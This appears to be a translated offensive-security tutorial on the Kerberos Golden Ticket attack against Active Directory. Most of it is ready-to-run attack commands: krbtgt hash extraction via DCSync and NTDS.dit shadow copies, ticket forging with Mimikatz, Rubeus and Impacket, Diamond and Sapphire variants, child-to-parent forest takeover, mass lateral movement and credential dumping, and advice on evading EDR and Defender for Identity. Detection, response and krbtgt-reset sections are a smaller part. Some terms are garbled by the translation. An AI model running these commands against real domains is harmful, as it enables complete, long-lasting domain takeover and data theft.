Golden Ticket Attack: What It Is, How It Works, and How to Defend Yourself in Active Directory

Golden Ticket Attack: Total Persistence in Active Directory #

In short: The Golden Ticket exploits the krbtgt hash to forge valid TGTs in Active Directory, allowing the attacker to impersonate any domain user—including the Domain Admin—without knowing their password. Once the hash is obtained, persistence can last for years. The only remediation is a double reset of krbtgt.

Quick Glossary #

Before we dive in, let's clarify some key Kerberos terms. For a complete discussion of the protocol, see Kerberos — How Authentication Works in AD.

• KDC (Key Distribution Center)The authentication service that runs on domain controllers. It issues tickets.
• TGT (Ticket Granting Ticket): The initial "passport" you get after logging in. Signed with the krbtgt hash. It's used to request additional tickets.
• TGS (Ticket Granting Service): The ticket that allows you to access a specific service (e.g. C$ of a server).
• PAC (Privilege Attribute Certificate): Structure within the TGT that lists the user's groups. The KDC reads it but don't check it against AD — trusts the cryptographic signature.
• krbtgtThe KDC's service account. Its password (hash) is the domain's "master key." If compromised, an attacker can sign fake TGTs that the KDC will accept as genuine.

Kerberos Internals: What's Really Going On Under the Hood #

To understand why the Golden Ticket works, you have to look inside Kerberos. It's not magic, it's pure cryptography.

The AS-REQ / AS-REP (initial authentication) flow

1. The user sends a request AS-REQ to the KDC under his name.
2. The KDC generates a session key and creates a TGT containing: user identity, timestamp, session key and CAP (user groups).
3. The TGT comes encrypted with the hash of krbtgt and returned in the AS-REP.

TGT validation flow — what the DC really controls

When the KDC receives a TGS-REQ:

1. Decrypt the TGT with its own key (hash of krbtgt). If decryption is successful, the ticket is valid.
2. Read the PAC in the TGT.
3. No Queries AD to see if the user exists or if the groups are correct.

Trust is in the encryption , not the content. If the attacker has the hash of krbtgt, they can encrypt any TGT with any PAC. The KDC will decrypt it and accept it without hesitation. This is the fundamental flaw.

What it controls:

• PAC Checksum (Cryptographic Integrity)
• Timestamp (validity window, default 10 hours)

Does not control:

• If the user exists in AD
• If the groups in the PAC correspond to the real ones
• Whether the ticket was issued by the KDC or an attacker

Introduction #

The Golden Ticket is classified as T1558.001 (MITRE ATT&CK) . Unlike the Silver Ticket —which affects a single service—the Golden Ticket compromises the entire domain authentication infrastructure.

Where it stacks up against other techniques:

The Golden Ticket is "king" because it never expires, doesn't require knowing the impersonated user's password, and survives any password change in the domain—except for the double reset of krbtgt. APT29 uses it in espionage operations documented by MITRE and CISA. Advanced ransomware groups combine it with exfiltration techniques to maintain persistent access even after the initial compromise is discovered.

Key Takeaway: If the krbtgt hash is compromised, the entire Active Directory domain should be considered structurally compromised. No administrator password change will solve the problem—the only solution is to double-reset krbtgt.

How it works (and when you really need it) #

The KDC does not maintain a state for issued tickets: if the cryptographic signature is valid, the ticket is accepted regardless of who generated it. Anyone who obtains the hash of krbtgt can generate valid tickets completely offline , for any user, with any duration—without communicating with the DC during the attack.

When needed: The Golden Ticket is the final stage of a deep compromise. Use it when:

• You need long-term persistence even if the initial vector is discovered.
• You must move sideways silently on a large scale without generating noisy NTLM logons.
• You have compromised a child domain and you want to take the parent domain (Forest Takeover).
• Do you want to break trust between domains in a forest.

The access chain up to krbtgt #

The article assumes you already have the hash. In reality, you have to acquire it . Here's the actual attack chain:

1. Initial Access Phishing, VPN Vulnerable, Server Exposed. You're now on an internal machine.

2. Privilege Escalation

• Kerber-roasting (T1558.003): Request TGS of accounts with SPN, crack them offline with hashcat.
• AS-REP Roasting (T1558.004): Users without pre-authentication → AS-REP offline crack.
• ACL Abuse (blood hound)Find paths to Domain Admin via GenericAll, WriteDACL, and the like. BloodHound is a tool that graphically maps trust relationships and ACLs in AD—with “Shortest Path to Domain Admin” you can find the shortest path to your target.
• Zerologon / PetitPotam / PrintNightmare: Critical vulnerabilities that give direct access to the DC.

3. DCSync Permissions Serve Replicating Directory Changes AllDomain Admins usually have this, but it can be delegated — use BloodHound to find accounts with these rights without your knowledge.

4. Extract DCSync krbtgt hash or dump NTDS.dit. Complete chain.

[Initial Access] → Phishing, VPN, Server esposto
↓
[Privilege Escalation] → Kerberoasting, AS-REP, ACL Abuse
↓
[DCSync Rights] → Domain Admin o delega su krbtgt
↓
[Estrazione hash krbtgt] → DCSync o NTDS.dit
↓
[Forging TGT Golden Ticket] → Mimikatz / Rubeus / Impacket
↓
[Inject in memoria] → /ptt (Rubeus) o export KRB5CCNAME (Linux)
↓
[Lateral Movement] → PsExec, WMI, SMB, WinRM, NetExec
↓
[Persistenza invisibile] ← sopravvive a cambio password admin
↓
[Esfiltrazione / Obiettivo finale]

Without double resetting krbtgt, the Golden Ticket remains valid even after the initial carrier is closed and all administrative passwords are changed.

Attack path variation: the 3 tactical variants #

1. Noisy (Fast & Furious)

• Method: Massive Kerberoasting on all SPNs, immediate DCSync, Golden Ticket in 5 minutes.
• Risk: Traces everywhere — 4769 anomalous events, 4662 on DCSync, unusual activity.
• When: Immature environments, exercises with little time, or as a diversion.

2. Stealth (Slow Dwell)

• Method: Sleeping for weeks, fragmented C2, extracting krbtgt via NTDS.dit at night (quieter than DCSync), Diamond Ticket lasting 4-8 hours, using it on a few machines at a time.
• Risk: Low, requires patience.
• When: APT, espionage, environments with active MDI or EDR.

3. Insider-Style (Legit Admin Abuse)

• MethodA legitimate administrator extracts NTDS.dit "for disaster recovery" and takes the ticket offline. No escalation techniques—just abuse of legitimate privileges.
• Risk: Very difficult to stop. The actions are legitimate.
• WhenInsider threat, malicious admins.

Prerequisites #

• NTLM hash or AES256 key of the krbtgt account
• Domain SID of the target domain
• Domain Name (FQDN)
• A host from which to inject the ticket (must not be joined to the domain)

Step 1 — Get the hash of krbtgt #

Via DCSync #

The most common method. It requires Replicating Directory Changes All. For the complete guide see DCSync.

impacket-secretsdump — Impacket's Python script that performs DCSync or extracts hashes from SAM/LSA/NTDS.dit. Runs from Linux without needing to be on the DC.

Mimikatz — Windows tool for dumping credentials from LSASS and manipulating Kerberos tickets in memory. lsadump::dcsync Replicates the behavior of a secondary DC to extract hashes from the AD.

# Da Linux — impacket-secretsdump
impacket-secretsdump corp.local/Administrator:Password123!@<DC_IP> -just-dc-user krbtgt

# Da Windows — Mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgt

# Reflective load in memoria (più stealth, evita drop del binario su disco)
# Invoke-Mimikatz viene da PowerSploit (deprecato) — in ambienti con EDR preferisci
# caricamento tramite C2 framework (Cobalt Strike, Havoc, ecc.)
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /user:krbtgt"'

Expected output:

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561d2fcbXXXXXXXXXXXXXXXX:::
         [LM hash, ignorabile]             [NT hash — quello che ti serve]

Via NTDS.dit (alternative to DCSync) #

Useful when DCSync is monitored. vssadmin is a native Windows tool (LOLBin) for creating and managing Volume Shadow Copies — it allows you to copy NTDS.dit without active lockfile issues.

# Crea shadow copy del disco di sistema (vssadmin — nativo Windows, zero detection)
vssadmin create shadow /for=C:

# Copia NTDS.dit e SYSTEM hive dalla shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hive

# Estrai gli hash offline con Impacket da Linux
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL -just-dc-user krbtgt

RODC: In environments with Read-Only Domain Controllers there is a separate account krbtgt_XXXXX (Eg. krbtgt_34573) for each RODC. Compromising an RODC only gives you the hash of that local krbtgt—the tickets you generate are only valid for authentications handled by that specific RODC, not for the entire domain.

Via direct dump to DC #

With interactive access to the Domain Controller (Mimikatz):

privilege::debug
lsadump::lsa /patch

Step 2 — Forging the Golden Ticket #

With Mimikatz #

# Base — RC4/NTLM, genera più rumore nei log
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:HASH_NTLM /ticket:golden.kirbi

# AES256 — preferibile in ambienti enterprise monitorati
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /aes256:AES_KEY /ticket:golden.kirbi

# Con group ID espliciti
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:HASH_NTLM /groups:512,519,520,513,518 /ticket:golden.kirbi

# OPSEC — durata realistica (evita il default di Mimikatz che genera ticket da 10 anni)
# /startoffset:0 = parte da adesso
# /endin:600    = valido 10 ore (default AD)
# /renewmax:10080 = rinnovo massimo 7 giorni (default AD)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /aes256:AES_KEY /groups:512,519 /startoffset:0 /endin:600 /renewmax:10080 /ticket:golden.kirbi

Key Group IDs to include:

With Rubeus #

Rubeus — a C# toolkit for pure Kerberos operations: request, forge, and inject tickets into memory. It doesn't touch LSASS directly, unlike Mimikatz — a reduced detection surface for Kerberos operations.

# Golden Ticket — inject diretto in memoria con /ptt (pass-the-ticket)
Rubeus.exe golden /aes256:AES_KEY /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /user:Administrator /ptt

# Con group ID espliciti
Rubeus.exe golden /aes256:AES_KEY /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /user:Administrator /groups:512,519 /ptt

With Impacket from Linux #

ticketer.py — Python script by Packet to forge Kerberos tickets (.ccache) completely offline from Linux. Produces a ccache file that can be used directly with export KRB5CCNAME.

python3 ticketer.py -aesKey <krbtgt_aes256> -domain-sid S-1-5-21-XXXXXXXXXX \
  -domain corp.local -user-id 500 -groups 512,519 Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@DC01.corp.local

Converting between .kirbi and .ccache formats #

Windows tools use the format .kirbi, Linux tools (Impacket, MIT Kerberos) use .ccache. impacket-ticketConverter convert between the two formats.

# Da .kirbi (Windows/Mimikatz) a .ccache (Linux/Impacket)
impacket-ticketConverter golden.kirbi golden.ccache

# Da .ccache (Linux) a .kirbi (Windows)
impacket-ticketConverter golden.ccache golden.kirbi

Forest Takeover: from child to parent with raiseChild.py #

If you have compromised a child domain, you can use the Golden Ticket with Extra SID to move to the parent domain. By entering the parent's Enterprise Admins group SID (519) in the child's ticket, the parent's KDC will automatically consider you an Enterprise Admin.

SID Filtering: If enabled between forest domains, it blocks extra SIDs and the attack won't work. Check first:

nltest /domain_trusts /all_trusts

Search Attr: — if you see 0x4 (QUARANTINED) SID Filtering is active and Forest Takeover via Extra SID will not work.

Manual with Mimikatz — /sids to add Extra SID:

kerberos::golden /user:Administrator /domain:child.corp.local \
  /sid:S-1-5-21-CHILD-SID /krbtgt:HASH_NTLM \
  /sids:S-1-5-21-PARENT-SID-519 /ticket:golden_cross.kirbi

Automatic with raiseChild.py:

raiseChild.py — An Impacket script that fully automates the Forest Takeover from a child to a parent domain. It requests the child's krbtgt hash, handles the Extra SID internally, and can execute commands directly on the parent domain (e.g., secretsdump).

# Con hash NTLM del krbtgt child
python3 raiseChild.py -target-exec <DC_PARENT_IP> \
  -hashes :<krbtgt_ntlm_hash> child.corp.local/Administrator@<DC_CHILD_IP>

# Con AES key (più stealth)
python3 raiseChild.py -target-exec <DC_PARENT_IP> \
  -aesKey <krbtgt_aes256> child.corp.local/Administrator@<DC_CHILD_IP>

Step 3 — Lateral Movement and verification #

Verifying the injected ticket:

# Windows — mostra tutti i ticket in cache
klist
# Dovresti vedere: TGT per Administrator @ CORP.LOCAL

# Linux
klist   # oppure: klist -c $KRB5CCNAME

Lateral Movement with the main tools:

PsExec — Sysinternals tool for remote execution via SMB. Copies a service to the target, runs it, and returns a shell. Noisy but reliable.

impacket-wmiexec / impacket-smbexec — Impacket scripts for remote execution via WMI and SMB, respectively. Stealthier than PsExec because they don't drop services.

# Da Windows
dir \\DC01\C$
PsExec.exe \\DC01 cmd.exe

# Da Linux
impacket-wmiexec -k -no-pass corp.local/Administrator@TARGET
impacket-smbexec -k -no-pass corp.local/Administrator@TARGET

WinRM with forged tickets may fail if the environment requires additional interactive authentication. It's not universally reliable—always test it before relying on it.

For systematic lateral movements across entire subnets, NetExec (formerly CrackMapExec) with Kerberos authentication is the de facto standard — it enumerates, executes commands, dumps SAMs to N hosts in parallel.

export KRB5CCNAME=Administrator.ccache
netexec smb 192.168.1.0/24 --use-kcache -x 'whoami'
netexec smb 192.168.1.0/24 --use-kcache --sam

Diamond Ticket: the stealth variant #

The Diamond Ticket modifies a legitimate TGT just released by the KDC instead of creating one from scratch. It still requires the hash of krbtgt, but the AS-REQ is present in the logs—no missing anomaly. Difficult for MDI ML systems to detect.

The red — the correct flag for diamond is /krbkey (not /aes256 which is for golden), more /enctype:aes256 e /sid obligatory:

Rubeus.exe diamond /krbkey:AES_KEY /enctype:aes256 \
  /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX \
  /user:Administrator /ticketuser:Administrator /ticketuserid:500 \
  /groups:512,519 /nowrap /ptt

For the complete guide see Diamond Ticket.

Silver vs Diamond — differences in brief:

There is also the Sapphire Ticket — a further evolution that extracts the real PAC via S4U2Self+U2U, making the ticket practically indistinguishable from a legitimate one.

Sapphire Ticket: The Current Frontier #

The Sapphire Ticket is the next evolution from the Diamond. Instead of modifying a legitimate TGT by altering groups, it extracts the user's real PAC from the KDC via S4U2Self+U2U and uses it in the forged ticket.

S4U2Self+U2U: U2U (User-to-User) is a Kerberos extension that allows a user to request a ticket for themselves, encrypted with their own key instead of the service's key. S4U2Self is the extension that allows you to request a TGS on behalf of another user. The S4U2Self+U2U combination forces the KDC to generate a ticket that includes the target user's authentic PAC—with groups, timestamps, and checksums identical to those the KDC would normally issue. The attacker then uses that information to sign the forged ticket with krbtgt. The result is a ticket whose PAC is cryptographically identical to the one the KDC would normally issue—including consistent groups, timestamps, and checksums.

# ticketer.py con -request → S4U2Self+U2U per ottenere il PAC reale
python3 ticketer.py -aesKey <krbtgt_aes256> \
  -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local \
  -user Administrator -request -dc-ip <DC_IP> Administrator

Why it's stealthier than Diamond: The extracted PAC matches the user's authentic history. Heuristic engines that detect Diamond by timestamp/PAC discrepancy don't find any anomalies.

Limitation: Not completely offline — requires contacting the KDC during the forge. Currently works better on Impacket than Mimikatz/Rubeus.

Offensive OPSEC and detection bypass #

In enterprise environments with MDI, Sentinel or EDR, these choices reduce the detection surface:

AES256 instead of RC4 The type 0x17 (RC4) is a primary trigger in modern detection systems. In domains configured for AES by default, an RC4 ticket is immediately anomalous.

Realistic lifetime ticket By default, Mimikatz generates tickets with a validity of years — a recognizable signature. Always use /startoffset:0 /endin:600 /renewmax:10080 to align with the AD default.

PAC consistent with the real user MDI triggers alerts for "Nonexistent account." Don't create tickets for nonexistent users. Extract the user's real groups (net user <user> /domain) and use them in the ticket — if the PAC says “Enterprise Admin” for an HR account, the ML flags that.

Inject into memory, not disk /ptt with Rubeus or export KRB5CCNAME With Impacket, avoid disk files being detectable by EDRs.

Diamond or Sapphire instead of Golden. Diamond generates AS-REQs in the logs (no absence anomalies). Sapphire has authentic PAC. In environments with advanced detection, they are preferable to the classic Golden.

NTDS.dit instead of DCSync DCSync generates Event ID 4662 detectable by MDI. Extraction via vssadmin is quieter if there are no specific VSS alerts.

Krbtgt operational reality layer #

Replication Lag: In forests with 10+ distributed DCs, the 10-12 hour wait between resets isn't recommended—it's a natural necessity for replication convergence. If you reset early, some DCs will retain the old key, resulting in patchy authentication failures.

What Breaks the Reset? Services with long-running tickets (SharePoint, Exchange) can crash because their TGTs become invalid. Schedule a maintenance window.

Dual DC Sync If you DCSync a secondary DC while the primary DC is offline, you may get a hash that is hours old. Always dump it to the PDC Emulator.

Forest with 10+ DCs The double reset must be performed on the PDC Emulator. Replication to all DCs can take hours — during this time, tickets forged with the old key may still work on DCs that have not yet been replicated.

Chaining: How it combines with other techniques #

The Golden Ticket rarely operates in isolation. In a real-world engagement, you'll find it linked to:

• Kerber-roasting (T1558.003): For the initial escalation. TGS services → offline crack.
• AS-REP Roasting (T1558.004): Users without pre-authentication → offline crack.
• Pass-the-Ticket (T1550.003): Lateral movement with tickets extracted from LSASS.
• Pass the Hash (T1550.002): For hosts that do not support Kerberos.

Typical royal chain:

1. Kerberoasting on a service account → NTLM hash.
2. Pass-the-Hash → foothold with local privileges.
3. BloodHound for ACL abuse → Domain Admin.
4. DCSync → extract krbtgt.
5. Golden Ticket → large-scale persistence and lateral movement.

Offensive decision tree #

Hai accesso a un utente?
  ├─ NO → Phishing / External Recon
  └─ SÌ → Hai privilegi locali?
        ├─ NO → Kerberoasting / AS-REP / BloodHound per escalation
        └─ SÌ → Dump LSASS o credenziali nel registry
              ├─ Hash di un Domain Admin?
              │    └─ SÌ → DCSync su krbtgt → Golden Ticket
              └─ NO → ACL Abuse per diventare DA → DCSync
                    ├─ Sei in un Child Domain?
                    │    └─ SÌ → raiseChild.py per Forest Takeover
                    │           (verifica SID Filtering prima)
                    └─ NO → Golden Ticket sul dominio corrente
                          └─ Ambiente con MDI/EDR attivo?
                               ├─ SÌ → Diamond o Sapphire Ticket
                               └─ NO → Golden Ticket classico

Limitations and common mistakes #

• Incorrect SIDIf the Domain SID is incorrect, the ticket will not work. Check with whoami /user o wmic useraccount get sid.
• Inconsistent encryption type: Domain that only accepts AES → RC4 ticket rejected. Use AES256.
• Clock Skew: 5-minute tolerance between the injecting system and the DC. If the clock is out of phase, the ticket is rejected.
• Abnormal CAP: PAC without default groups (e.g. missing Domain Users) or with timestamps far from reality → alert.
• SID Filtering: Block Extra SID in Forest Takeover. Verify with nltest /domain_trusts before trying.
• EDR on lateral movement: CrowdStrike or Defender can block psexec o wmiexec even with a valid ticket, if they detect suspicious patterns.

Real scenario #

A typical Golden Ticket compromise in corporate environments:

1. Initial access via phishing — foothold on an internal host.
2. Escalation via ACL abuse or AS-REP Roasting → account with DCSync rights.
3. Extracting krbtgt hashes via DCSync or NTDS.dit — silent unless monitored.
4. Offline forged ticket with realistic duration, injected into memory.
5. The initial vector is discovered and closed. Admin passwords are reset. Security is deemed secure.
6. The attacker still has full access — the Golden Ticket is still valid.
7. Prolonged exfiltration for months.

The critical point: Many organizations close the initial vector and think they are safe—while the domain is still completely in the hands of the attacker.

Detection #

Detecting a Golden Ticket is complex: the generated Kerberos traffic appears legitimate.

🔴 HIGH — Critical signals:

• Event ID 4769 (TGS request) with an abnormal ticket duration (over the default 10 hours AD). This should be contextualized with a behavioral baseline—a 10-hour and 1-minute ticket could be a false positive.
• Event ID 4624 — Kerberos logon without AS-REQ (4768) related in the previous hours.
• TGS requests for sensitive accounts without a corresponding TGT request.
• Event ID 4675 — “SIDs were filtered” on cross-domain TGS. The KDC filtered SIDs from the ticket during a trust — indicates a possible Extra SID for Forest Takeover attempt blocked by SID filtering. If SID filtering is not enabled, the event will not appear at all.

🟡 MEDIUM — Secondary signals:

• Ticket Encryption Type 0x17 (RC4) in domains configured for AES.
• Ticket issuance timestamps inconsistent with historical account activity.
• Accounts that access resources that are unusual compared to their baseline.
• No 4768 events for a user making a TGS request.

Honey account: An account with a Domain Admin name but zero real privileges. Any authentication with that name is guaranteed to trigger a warning.

Microsoft Defender for Identity: Has built-in detection for Golden Ticket (“Golden Ticket attack”) based on anomalies in TGTs, absence of AS-REQ, authentication with non-existent accounts.

Incident Response #

1. Isolate the compromised domain if necessary, especially if the forest is compromised via child domains.
2. Don't reset krbtgt right away —First, it kicks out the attacker's active sessions. If they still have access, issuing a new ticket with the new key only takes another 30 seconds.
3. Resetting krbtgt (double) — correct method:

# Metodo raccomandato — PowerShell
Set-ADAccountPassword -Identity krbtgt -Reset \
  -NewPassword (ConvertTo-SecureString "NuovaPwd1_Complessa!" -AsPlainText -Force)

# Attendi 10-12 ore per sincronizzazione multi-DC

Set-ADAccountPassword -Identity krbtgt -Reset \
  -NewPassword (ConvertTo-SecureString "NuovaPwd2_Diversa!" -AsPlainText -Force)

Microsoft has an official script that automatically handles synchronization and wait windows in multi-DC environments: New-KrbtgtKeys.ps1

# Reset automatico con doppio ciclo e attesa sincronizzazione inclusa
.\New-KrbtgtKeys.ps1 -DomainFQDN corp.local -ResetType Twice
# Lo script esegue il primo reset, aspetta la replica su tutti i DC,
# poi esegue il secondo reset automaticamente — zero calcoli manuali.

Important: klist purge It only clears the local cache of the system it runs on. Does not invalidate Golden Tickets in the possession of the attackers. The only thing that invalidates forged tickets is resetting krbtgt.

1. Hunting on persistences: Scheduled tasks, services, WMI subscriptions, startup scripts. Backdoor account with anomalous SIDHistory on DCs.
2. Review ACL and trust: Check for modified delegations or malicious trusts created by the attacker.
3. Change all passwords for privileged accounts after the second reset of krbtgt.
4. Enable advanced logging: Auditing on events 4768, 4769, 4770, 4771.

Mitigation and prevention #

• Double reset of krbtgt after each suspected compromise (10-12h between the two). Use New-KrbtgtKeys.ps1.
• Force AES as encryption type: msDS-SupportedEncryptionTypes = 24 (AES128+AES256) or 16 (AES256 only). Does not prevent Golden Ticket if the AES hash is already compromised, but increases the cost of the attack.
• Monitor DCSync with alert on Event ID 4662 for accesses to the krbtgt object with replication rights.
• Protected Users Security Group: Add all administrative accounts to it — prevent NTLM, force AES, block Kerberos delegation.
• Map all paths to krbtgt with blood hound and remove unnecessary delegations.
• Implement Microsoft Defender for Identity for behavioral correlation of Kerberos anomalies.
• Periodic rotation of krbtgt (at least every six months) as preventative hygiene.
• Principle of least privilege: Very few accounts should have DCSync rights.
• SID Filtering between forest domains: Reduces the surface area of ​​Forest Takeover via Extra SID.

Comparison: Golden / Silver / Diamond / Sapphire #

Quick Reference #

1. Extracting krbtgt hashes via DCSync (Mimikatz):

lsadump::dcsync /domain:corp.local /user:krbtgt

2. Forging with Mimikatz (AES256 + realistic durability):

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /aes256:AES_KEY /groups:512,519 /startoffset:0 /endin:600 /renewmax:10080 /ticket:golden.kirbi

3. Forging with Impacket from Linux (ticketer.py):

python3 ticketer.py -aesKey <krbtgt_aes256> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -user-id 500 -groups 512,519 Administrator

4. Diamond Ticket with Rubeus:

Rubeus.exe diamond /krbkey:AES_KEY /enctype:aes256 /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /user:Administrator /ticketuser:Administrator /ticketuserid:500 /groups:512,519 /nowrap /ptt

5. Forest Takeover with raiseChild.py:

python3 raiseChild.py -target-exec <DC_PARENT_IP> -hashes :<krbtgt_ntlm_hash> child.corp.local/Administrator@<DC_CHILD_IP>

6. Double reset of krbtgt:

Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "Pwd1!" -AsPlainText -Force)
# → attendi 10-12 ore
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "Pwd2!" -AsPlainText -Force)
# Script automatico: https://github.com/microsoft/New-KrbtgtKeys.ps1

FAQ #

Is the Golden Ticket still valid after changing the Domain Admin password? Yes. The ticket is signed with the krbtgt hash, not the impersonated user's. Changing the admin password has no effect.

How do you detect a Golden Ticket months after it was created? Event ID 4769 with anomalous durations + 4624 without correlated 4768. Microsoft Defender for Identity can do this correlation retroactively, but requires preserved historical logs and a consolidated baseline.

Does double resetting krbtgt cause downtime? In multi-DC environments, it can cause temporary outages if unplanned. The New-KrbtgtKeys.ps1 script automatically handles synchronization and wait windows.

Is periodic rotation of krbtgt still necessary today? Yes. Microsoft recommends it as a preventative practice. Many enterprise organizations never perform it—which is one of the reasons why the Golden Ticket remains one of the most widely used persistence techniques by APTs.

Diamond Ticket or Golden Ticket? The Diamond Ticket is preferable in environments with advanced detection because it generates AS-REQs in the logs. The Sapphire goes even further. Both still require the krbtgt hash.

What if I only have the NTLM hash and not AES? You can forge with RC4, but you increase the risk of detection. In environments that force AES, the ticket will be rejected.

klist purge invalidate Golden Tickets? No. It only clears the local cache of the system it's run on. It has no effect on tickets held by attackers. The only remediation is to reset krbtgt.

MITRE ATT&CK Mapping #

Final takeaway #

1. If you compromise the hash of krbtgt, the domain is compromised. There are no half measures.
2. The defense is preventive: Map paths with BloodHound, monitor DCSync, rotate krbtgt periodically.
3. The only definitive remediation is the double reset of krbtgt, after kicking out active sessions. klist purge It's not necessary. Changing admin passwords is not necessary.

Conclusion #

The Golden Ticket represents the highest level of compromise achievable in an Active Directory domain. If the krbtgt hash falls into the hands of an attacker, the domain is no longer trustworthy—no administrative password reset will resolve the issue without a double krbtgt reset, followed by a full analysis of all persistence mechanisms installed in the meantime.

The right defense starts earlier: map paths to krbtgt with BloodHound , monitor DCSync in real time, and treat krbtgt as the most critical asset in the entire enterprise infrastructure — because it is.

Related Articles #

• Kerberos — Active Directory Authentication
• Silver Tickets
• Diamond Ticket
• Sapphire Ticket
• DCSync
• Kerber-roasting
• AS-REP Roasting
• Pass-the-Ticket
• Pass the Hash
• blood hound
• Mimikatz
• The red
• Packet
• NetExec
• Active Directory — exploitation

Sources and external references #

• MITER ATT&CK – T1558.001: Golden Ticket
• MITER ATT&CK – T1003.006: DCSync
• MITER ATT&CK – T1550.003: Pass the Ticket
• Microsoft – New-KrbtgtKeys.ps1
• Impacket – raiseChild.py

For use in authorized environments only.

#golden-ticket #kerberos #active-directory #windows #persistence